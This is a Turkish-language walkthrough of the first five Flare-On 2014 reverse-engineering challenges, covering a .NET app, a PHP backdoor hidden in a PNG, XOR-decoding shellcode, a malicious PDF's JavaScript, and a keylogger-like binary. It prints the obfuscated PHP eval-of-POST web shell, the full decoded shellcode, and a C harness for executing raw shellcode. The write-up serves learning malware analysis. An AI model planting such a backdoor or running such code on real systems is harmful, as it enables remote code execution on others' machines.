Flare-On 2014 Challenges Solutions 1-5

Challenge 1 : Bob Doge​

Öncelikli olarak indirdiğimiz zip dosyasının içerisinden çıkan C1.exe isimli dosyamızın adını C1.zip yapalım ve içerisinde bulunan Challenge 1 isimli exe dosyamızı çıkartalım.

Daha sonra dosyamızı DIE (Detect It Easy) aracımıza atıp inceleyelim

1


Henüz bu işlerde çok yeniyim ancak .NET gördüğümüz zaman dnspy aracını kullanmakta fayda olduğunu düşünüyorum (Belki başka püf noktalarda vardır, öğreneceğiz)

2


Programımızın içerisinde bir adet form var. Bu formu incelediğimiz zaman btnDecode_Click isimli fonksiyon dikkatimizi çekecektir. Bunun içerisine bir adet breakpoint koyarak programımızı çalıştırırsak bakalım ne olacak.

Açılan ekranda decode et butonuna basalım ve…

3


Bingo ! ilk text değişkenimizin içerisinde aramış olduğumuz adresi bulduk :)

Challenge 2 : Javascrap​

Elimizde C2.zip var. Açtığımız zaman içerisinden img isimli bir klasör ve home.html isimli birer dosya olduğunu görüyoruz. Zip’in içerisinden bu dosyaları çıkartmak istediğimiz zaman bizden bir password istiyor. Eğer Challenge dosyalarını indirdiğimiz yere dikkatli bakarsak bize parolanın standart olarak malware olduğunu söylemiş.

Neyse dosyalarımızı çıkardıktan sonra html dosyamızın içerisinde neler yazıyormuş bir bakalım.

Dikkat çeken pek birşey yok. İçeriye img/flare-on.png dosyasını dahil etmiş belki onda birşeyler olabilir.

Strings komutu veya bir hex editör aracılığıyla bu png dosyamızı açıp inceleyelim.

1


Evet tahmin ettiğimiz üzere içerde bir php kodu yer almakta.


$terms=array("M", "Z", "]", "p", "\\", "w", "f", "1", "v", "<", "a", "Q", "z", " ", "s", "m", "+", "E", "D", "g", "W", "\"", "q", "y", "T", "V", "n", "S", "X", ")", "9", "C", "P", "r", "&", "\'", "!", "x", "G", ":", "2", "~", "O", "h", "u", "U", "@", ";", "H", "3", "F", "6", "b", "L", ">", "^", ",", ".", "l", "$", "d", "`", "%", "N", "*", "[", "0", "}", "J", "-", "5", "_", "A", "=", "{", "k", "o", "7", "#", "i", "I", "Y", "(", "j", "/", "?", "K", "c", "B", "t", "R", "4", "8", "e", "|");

$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);

$do_me="";

for($i=0;$i<count($order);$i++){
$do_me=$do_me.$terms[$order[$i]];
}

print($do_me); // eval()


eval yazan kısmı print ederek ne döndürdüğünü bir görelim.


$_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';

$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';

$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";

eval($___($__));


Hmm karşımıza birşeyler daha geldi. Gene eval fonksiyonunu print edelim bakalım aslında ne demek istiyormuş

2


$code=base64_decode($_);
eval($code);

İlk değişkenimiz olan $_ 'da bulunan değeri base64_decode işlemine sokuyormuş. O zaman bizde bu değeri decode edelim.

3


if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"]))
{ eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"]));
}

Burdaki karakterler hexadecimal/decimal karakterler gibi duruyor. Ufak bi script ile ASCII karşılıklarını öğrenebiliriz.

4



data = r"\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"

result = ''
items = data.split('\\')

for i in items:
if i:
if i[0] == 'x':
result += chr(int(i[1:3], 16))
else:
result += chr(int(i))

print(result)

Challenge 3: Shellolololol​

C3.zip içerisinden such_evil isimli bir dosya çıktı. Bu dosyayı IDA üzerinde açıp bir bakalım neyin nesiymiş.

1


start fonksiyonu içerisinde pek fazla birşey yok. Aşağıda sub_401000 isimli fonksiyon çağrılmış. Ona da bir bakalım

2


Burda eax registerına birşeyler yazılıyor daha sonra da al registerı üzerinden stack içerisine birşeyler yazılıyor. En sonda da eax registerında yazan adres çağrılıyor. O adresle işi bittikten sonrada sıfırlanıyor.

Büyük ihtimalle stack içerisine yazmış olduğu değerleri eax üzerinden bir adrese giderek orada kullanıyordur. Bunu daha iyi anlamak için programımızı debuggerda açalım.

3


call eax işleminin gerçekleştiği yere breakpoint koyup çalıştıralım. breakpoint noktamıza geldiğimizde de F7'ye basarak çağrılan adrese gidelim

4


Burda bir loop var ve bu loopun içerisinde de xor işlemi gerçekleştiriliyor. Sonucun ne olduğunu görmek için JMP 0012FDB0 noktasına breakpoint koyalım ve devam edelim.

5


Hmm ufaktan birşeyler yazmaya başladı sanki. Biraz daha ilerlersek aşağıda bir loop daha olduğunu ve sürekli birşeyleri xor işleminden geçirdiğini görebiliriz. Onun da sonuna bir breakpoint koyalım ve ilerleyelim

6


Evet sanırım doğru yoldayız, o zaman durmak yok yola devam.

7


Karşımıza bir loop daha çıktı onunda sonuna breakpoint koyup hızlıca ilerleyelim . Tabi biter mi bitmez :D İlerde bir loop işlemi daha var onun da sonuna breakpoint koyalım

8


Veee koyduğumuz son breakpointe geldiğimizde hemen altında bulunan kısımda flag adresimiz gözüktü

9


Challenge 4: Sploitastic​

C4.zip dosyamızı açtığımız zaman bize bir adet pdf dosyası veriyor. Bu dosyanın içerisine gömülmüş herhangi birşey varmı diye kontrol etmek amaçlı pdfid isimli python scriptimizi çalıştırıyoruz.

.\pdfid.lnk C:\pdf path\APT9001.pdf

1


Hmm şüphelendiğimiz gibi içerisinde bir javascript kodu olduğunu söylüyor. Detayları öğrenmek için pdfparser isimli python scriptimiz ile bakalım

.\pdfparser.lnk -s javascript C:\pdf path\APT9001.pdf

2


.\pdfparser.lnk -o 6 C:\pdf path\APT9001.pdf

3


Artık içindeki kodu çıkaralım

.\pdfparser.lnk -o 6 -d c4.js -f C:\pdf path\APT9001.pdf

Ve c4.js dosyamızı açalım

4


Bunun ne anlama geldiğini bulmak biraz zamanımı aldı ama sonunda öğrendim. Şöyle ki %u72f9'un karşılığı 0xf972 oluyormuş. Hepsini bu şekilde çevirdiğimiz zamanda ortaya bir shellcode çıkıyormuş.

Bunun için hızlıca bir python scripti yazdım

str = "%u72f9%u4649%u1525%u7f0d%u3d3c%ue084%ud62a%ue139%ua84a%u76b9%u9824%u7378%u7d71%u757f%u2076%u96d4%uba91%u1970%ub8f9%ue232%u467b%u9ba8%ufe01%uc7c6%ue3c1%u7e24%u437c%ue180%ub115%ub3b2%u4f66%u27b6%u9f3c%u7a4e%u412d%ubbbf%u7705%uf528%u9293%u9990%ua998%u0a47%u14eb%u3d49%u484b%u372f%ub98d%u3478%u0bb4%ud5d2%ue031%u3572%ud610%u6740%u2bbe%u4afd%u041c%u3f97%ufc3a%u7479%u421d%ub7b5%u0c2c%u130d%u25f8%u76b0%u4e79%u7bb1%u0c66%u2dbb%u911c%ua92f%ub82c%u8db0%u0d7e%u3b96%u49d4%ud56b%u03b7%ue1f7%u467d%u77b9%u3d42%u111d%u67e0%u4b92%ueb85%u2471%u9b48%uf902%u4f15%u04ba%ue300%u8727%u9fd6%u4770%u187a%u73e2%ufd1b%u2574%u437c%u4190%u97b6%u1499%u783c%u8337%ub3f8%u7235%u693f%u98f5%u7fbe%u4a75%ub493%ub5a8%u21bf%ufcd0%u3440%u057b%ub2b2%u7c71%u814e%u22e1%u04eb%u884a%u2ce2%u492d%u8d42%u75b3%uf523%u727f%ufc0b%u0197%ud3f7%u90f9%u41be%ua81c%u7d25%ub135%u7978%uf80a%ufd32%u769b%u921d%ubbb4%u77b8%u707e%u4073%u0c7a%ud689%u2491%u1446%u9fba%uc087%u0dd4%u4bb0%ub62f%ue381%u0574%u3fb9%u1b67%u93d5%u8396%u66e0%u47b5%u98b7%u153c%ua934%u3748%u3d27%u4f75%u8cbf%u43e2%ub899%u3873%u7deb%u257a%uf985%ubb8d%u7f91%u9667%ub292%u4879%u4a3c%ud433%u97a9%u377e%ub347%u933d%u0524%u9f3f%ue139%u3571%u23b4%ua8d6%u8814%uf8d1%u4272%u76ba%ufd08%ube41%ub54b%u150d%u4377%u1174%u78e3%ue020%u041c%u40bf%ud510%ub727%u70b1%uf52b%u222f%u4efc%u989b%u901d%ub62c%u4f7c%u342d%u0c66%ub099%u7b49%u787a%u7f7e%u7d73%ub946%ub091%u928d%u90bf%u21b7%ue0f6%u134b%u29f5%u67eb%u2577%ue186%u2a05%u66d6%ua8b9%u1535%u4296%u3498%ub199%ub4ba%ub52c%uf812%u4f93%u7b76%u3079%ubefd%u3f71%u4e40%u7cb3%u2775%ue209%u4324%u0c70%u182d%u02e3%u4af9%ubb47%u41b6%u729f%u9748%ud480%ud528%u749b%u1c3c%ufc84%u497d%u7eb8%ud26b%u1de0%u0d76%u3174%u14eb%u3770%u71a9%u723d%ub246%u2f78%u047f%ub6a9%u1c7b%u3a73%u3ce1%u19be%u34f9%ud500%u037a%ue2f8%ub024%ufd4e%u3d79%u7596%u9b15%u7c49%ub42f%u9f4f%u4799%uc13b%ue3d0%u4014%u903f%u41bf%u4397%ub88d%ub548%u0d77%u4ab2%u2d93%u9267%ub198%ufc1a%ud4b9%ub32c%ubaf5%u690c%u91d6%u04a8%u1dbb%u4666%u2505%u35b7%u3742%u4b27%ufc90%ud233%u30b2%uff64%u5a32%u528b%u8b0c%u1452%u728b%u3328%ub1c9%u3318%u33ff%uacc0%u613c%u027c%u202c%ucfc1%u030d%ue2f8%u81f0%u5bff%u4abc%u8b6a%u105a%u128b%uda75%u538b%u033c%uffd3%u3472%u528b%u0378%u8bd3%u2072%uf303%uc933%uad41%uc303%u3881%u6547%u5074%uf475%u7881%u7204%u636f%u7541%u81eb%u0878%u6464%u6572%ue275%u8b49%u2472%uf303%u8b66%u4e0c%u728b%u031c%u8bf3%u8e14%ud303%u3352%u57ff%u6168%u7972%u6841%u694c%u7262%u4c68%u616f%u5464%uff53%u68d2%u3233%u0101%u8966%u247c%u6802%u7375%u7265%uff54%u68d0%u786f%u0141%udf8b%u5c88%u0324%u6168%u6567%u6842%u654d%u7373%u5054%u54ff%u2c24%u6857%u2144%u2121%u4f68%u4e57%u8b45%ue8dc%u0000%u0000%u148b%u8124%u0b72%ua316%u32fb%u7968%ubece%u8132%u1772%u45ae%u48cf%uc168%ue12b%u812b%u2372%u3610%ud29f%u7168%ufa44%u81ff%u2f72%ua9f7%u0ca9%u8468%ucfe9%u8160%u3b72%u93be%u43a9%ud268%u98a3%u8137%u4772%u8a82%u3b62%uef68%u11a4%u814b%u5372%u47d6%uccc0%ube68%ua469%u81ff%u5f72%ucaa3%u3154%ud468%u65ab%u8b52%u57cc%u5153%u8b57%u89f1%u83f7%u1ec7%ufe39%u0b7d%u3681%u4542%u4645%uc683%ueb04%ufff1%u68d0%u7365%u0173%udf8b%u5c88%u0324%u5068%u6f72%u6863%u7845%u7469%uff54%u2474%uff40%u2454%u5740%ud0ff"

yeni = list(range(len(str)))
j = 0

for i in str:
yeni[j] = i
j += 1

shellcode = ""

for x in range(len(yeni)):
if yeni[x] == "%":
shellcode += "\\x"
shellcode += yeni[x+4]
shellcode += yeni[x+5]
shellcode += "\\x"
shellcode += yeni[x+2]
shellcode += yeni[x+3]
else:
continue

print(shellcode)

Ve scriptimi çalıştırdığım zaman bana shellcode’u verdi

\xf9\x72\x49\x46\x25\x15\x0d\x7f\x3c\x3d\x84\xe0\x2a\xd6\x39\xe1\x4a\xa8\xb9\x76\x24\x98\x78\x73\x71\x7d\x7f\x75\x76\x20\xd4\x96\x91\xba\x70\x19\xf9\xb8\x32\xe2\x7b\x46\xa8\x9b\x01\xfe\xc6\xc7\xc1\xe3\x24\x7e\x7c\x43\x80\xe1\x15\xb1\xb2\xb3\x66\x4f\xb6\x27\x3c\x9f\x4e\x7a\x2d\x41\xbf\xbb\x05\x77\x28\xf5\x93\x92\x90\x99\x98\xa9\x47\x0a\xeb\x14\x49\x3d\x4b\x48\x2f\x37\x8d\xb9\x78\x34\xb4\x0b\xd2\xd5\x31\xe0\x72\x35\x10\xd6\x40\x67\xbe\x2b\xfd\x4a\x1c\x04\x97\x3f\x3a\xfc\x79\x74\x1d\x42\xb5\xb7\x2c\x0c\x0d\x13\xf8\x25\xb0\x76\x79\x4e\xb1\x7b\x66\x0c\xbb\x2d\x1c\x91\x2f\xa9\x2c\xb8\xb0\x8d\x7e\x0d\x96\x3b\xd4\x49\x6b\xd5\xb7\x03\xf7\xe1\x7d\x46\xb9\x77\x42\x3d\x1d\x11\xe0\x67\x92\x4b\x85\xeb\x71\x24\x48\x9b\x02\xf9\x15\x4f\xba\x04\x00\xe3\x27\x87\xd6\x9f\x70\x47\x7a\x18\xe2\x73\x1b\xfd\x74\x25\x7c\x43\x90\x41\xb6\x97\x99\x14\x3c\x78\x37\x83\xf8\xb3\x35\x72\x3f\x69\xf5\x98\xbe\x7f\x75\x4a\x93\xb4\xa8\xb5\xbf\x21\xd0\xfc\x40\x34\x7b\x05\xb2\xb2\x71\x7c\x4e\x81\xe1\x22\xeb\x04\x4a\x88\xe2\x2c\x2d\x49\x42\x8d\xb3\x75\x23\xf5\x7f\x72\x0b\xfc\x97\x01\xf7\xd3\xf9\x90\xbe\x41\x1c\xa8\x25\x7d\x35\xb1\x78\x79\x0a\xf8\x32\xfd\x9b\x76\x1d\x92\xb4\xbb\xb8\x77\x7e\x70\x73\x40\x7a\x0c\x89\xd6\x91\x24\x46\x14\xba\x9f\x87\xc0\xd4\x0d\xb0\x4b\x2f\xb6\x81\xe3\x74\x05\xb9\x3f\x67\x1b\xd5\x93\x96\x83\xe0\x66\xb5\x47\xb7\x98\x3c\x15\x34\xa9\x48\x37\x27\x3d\x75\x4f\xbf\x8c\xe2\x43\x99\xb8\x73\x38\xeb\x7d\x7a\x25\x85\xf9\x8d\xbb\x91\x7f\x67\x96\x92\xb2\x79\x48\x3c\x4a\x33\xd4\xa9\x97\x7e\x37\x47\xb3\x3d\x93\x24\x05\x3f\x9f\x39\xe1\x71\x35\xb4\x23\xd6\xa8\x14\x88\xd1\xf8\x72\x42\xba\x76\x08\xfd\x41\xbe\x4b\xb5\x0d\x15\x77\x43\x74\x11\xe3\x78\x20\xe0\x1c\x04\xbf\x40\x10\xd5\x27\xb7\xb1\x70\x2b\xf5\x2f\x22\xfc\x4e\x9b\x98\x1d\x90\x2c\xb6\x7c\x4f\x2d\x34\x66\x0c\x99\xb0\x49\x7b\x7a\x78\x7e\x7f\x73\x7d\x46\xb9\x91\xb0\x8d\x92\xbf\x90\xb7\x21\xf6\xe0\x4b\x13\xf5\x29\xeb\x67\x77\x25\x86\xe1\x05\x2a\xd6\x66\xb9\xa8\x35\x15\x96\x42\x98\x34\x99\xb1\xba\xb4\x2c\xb5\x12\xf8\x93\x4f\x76\x7b\x79\x30\xfd\xbe\x71\x3f\x40\x4e\xb3\x7c\x75\x27\x09\xe2\x24\x43\x70\x0c\x2d\x18\xe3\x02\xf9\x4a\x47\xbb\xb6\x41\x9f\x72\x48\x97\x80\xd4\x28\xd5\x9b\x74\x3c\x1c\x84\xfc\x7d\x49\xb8\x7e\x6b\xd2\xe0\x1d\x76\x0d\x74\x31\xeb\x14\x70\x37\xa9\x71\x3d\x72\x46\xb2\x78\x2f\x7f\x04\xa9\xb6\x7b\x1c\x73\x3a\xe1\x3c\xbe\x19\xf9\x34\x00\xd5\x7a\x03\xf8\xe2\x24\xb0\x4e\xfd\x79\x3d\x96\x75\x15\x9b\x49\x7c\x2f\xb4\x4f\x9f\x99\x47\x3b\xc1\xd0\xe3\x14\x40\x3f\x90\xbf\x41\x97\x43\x8d\xb8\x48\xb5\x77\x0d\xb2\x4a\x93\x2d\x67\x92\x98\xb1\x1a\xfc\xb9\xd4\x2c\xb3\xf5\xba\x0c\x69\xd6\x91\xa8\x04\xbb\x1d\x66\x46\x05\x25\xb7\x35\x42\x37\x27\x4b\x90\xfc\x33\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x33\xc9\xb1\x18\x33\xff\x33\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x03\xf8\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a\x8b\x5a\x10\x8b\x12\x75\xda\x8b\x53\x3c\x03\xd3\xff\x72\x34\x8b\x52\x78\x03\xd3\x8b\x72\x20\x03\xf3\x33\xc9\x41\xad\x03\xc3\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x03\xf3\x66\x8b\x0c\x4e\x8b\x72\x1c\x03\xf3\x8b\x14\x8e\x03\xd3\x52\x33\xff\x57\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd2\x68\x33\x32\x01\x01\x66\x89\x7c\x24\x02\x68\x75\x73\x65\x72\x54\xff\xd0\x68\x6f\x78\x41\x01\x8b\xdf\x88\x5c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\x54\x24\x2c\x57\x68\x44\x21\x21\x21\x68\x4f\x57\x4e\x45\x8b\xdc\xe8\x00\x00\x00\x00\x8b\x14\x24\x81\x72\x0b\x16\xa3\xfb\x32\x68\x79\xce\xbe\x32\x81\x72\x17\xae\x45\xcf\x48\x68\xc1\x2b\xe1\x2b\x81\x72\x23\x10\x36\x9f\xd2\x68\x71\x44\xfa\xff\x81\x72\x2f\xf7\xa9\xa9\x0c\x68\x84\xe9\xcf\x60\x81\x72\x3b\xbe\x93\xa9\x43\x68\xd2\xa3\x98\x37\x81\x72\x47\x82\x8a\x62\x3b\x68\xef\xa4\x11\x4b\x81\x72\x53\xd6\x47\xc0\xcc\x68\xbe\x69\xa4\xff\x81\x72\x5f\xa3\xca\x54\x31\x68\xd4\xab\x65\x52\x8b\xcc\x57\x53\x51\x57\x8b\xf1\x89\xf7\x83\xc7\x1e\x39\xfe\x7d\x0b\x81\x36\x42\x45\x45\x46\x83\xc6\x04\xeb\xf1\xff\xd0\x68\x65\x73\x73\x01\x8b\xdf\x88\x5c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x54\xff\x74\x24\x40\xff\x54\x24\x40\x57\xff\xd0

Artık tek yapmamız gereken bu shellcode’u x86 mimaride çalışacak bir exe'ye dönüştürmek.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

char shellcode[] = ""

int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) shellcode;
(int)(*func)();
}

**

Şöyle bir kod buldum ve shellcode yazan yere yukarda yazan shellcode’u koydum.

Daha sonra oluşturduğum exe’yi debugger üzerinde açtım ve adım adım ilerlettim Sonlara doğru yaklaştığımda sağ tarafta registerın üzerine aradığım adresin yazıldığını farkettim :)

flag


Ve işte bu kadar. Biraz daha ilerlersek program ekrana OWNED yazan bir pencere açarak anlamsız bir yazı yazacaktır.

Challenge 5: 5get_it​

C5.zip içerisinden 5get_it isimli bir dosya çıkmakta. Bu dosyayı IDA ile açıp incelemeye başladığımızda bir sürü fonksiyon olduğunu görüyouz. Bunlara hızlıca göz atarken dikkatimizi bir tanesi çekiyor.

1


Burda GetAsyncKeyState isimli bir fonksiyon mevcut ki bu programımızın keylogger mı acaba diye düşünmemize yol açacakken sağ tarafta bulunan if/else bloklarını bunu biraz destekliyor sanırım

2


If/else içerisinden 0x30 yani 0 karakteri geldiği zaman ne yapıyormuş bir bakalım

3


Başka bir addresi call ediyor ki bu adresin içeriği yukarıdaki resimde görmüş olduğunuz gibi. Daha sonra işi bitince jmp işlemi gerçekleştirerek aynı döngüye devam ediyor.

Burada dword_10019460 değerinin 1 olması durumunda bu değer sıfırlanacak dword_10019464 değeri 1 olacak ve 0 karakteri eax’a taşınacak. Peki böyle bir fonksiyon tüm karakterler için geçerli mi ?

4


0x2f yani “/” karakterinin çağırmış olduğu fonksiyonda böyle bir durum yok. O zaman bu durumun flag ile bir ilgisi olabilir mi acaba ?

Bunun için dword_10019460 ve dword_10019464 bir arada olduğu başka yerler de var mı acaba diye bakalım.

5


Flag değerine ulaşmak için bize hangi sırayı takip etmemiz gerektiğini söylemiş olabilir. İlk değeri 1 olarak ve diğer değerleri 0 olarak vermiş. Yani ilk değer cmp dword_10017000, 0 kontrolü sonrasında mov dword_10017000, 0 && mov dword_10019460, 1 olarak değiştirilecek ve en altta yazan karakterde bizim flag adresimizdeki ilk karakter olmuş olacak. Daha sonra dword_10019460 karakteri 0 ile karşılaştırılacak ve 0 olmadığı için mov dword_10019460, 0 && mov dword_10019464, 1 olarak değiştirilecek. Altında yazan karakterde flag adresinin ikinci karakteri olacak. Böyle böyle devam edeceğiz.

Biraz uğraştırıcı ve zaman alacak bir yöntem ancak başka yoldan nasıl yapılır bilmiyorum :/

İlk karakterimiz l

6


İkinci karakterimiz 0

7


NOT : Bir sonraki adresin konumuna hızlıca gitmek için o adresi seçip X tuşuna basın, sonra cmp komutu olan seçeneğe basıp hızlıca aradığımız konuma gidebilirsiniz.

8


Üçüncü karakterimiz g

9


cmp dword_10019468 karşılaştırmasıda bu fonksiyonda olduğu için dördüncü karakterde g olacak

Beşinci karakterimiz i

10


Bu şekilde tek tek not alarak devam edelim…

Ve son harf m

11


Flag adresimiz loggingdotUrdot5tr0ke5atflaredashondotcom yani [email protected]
 
Üst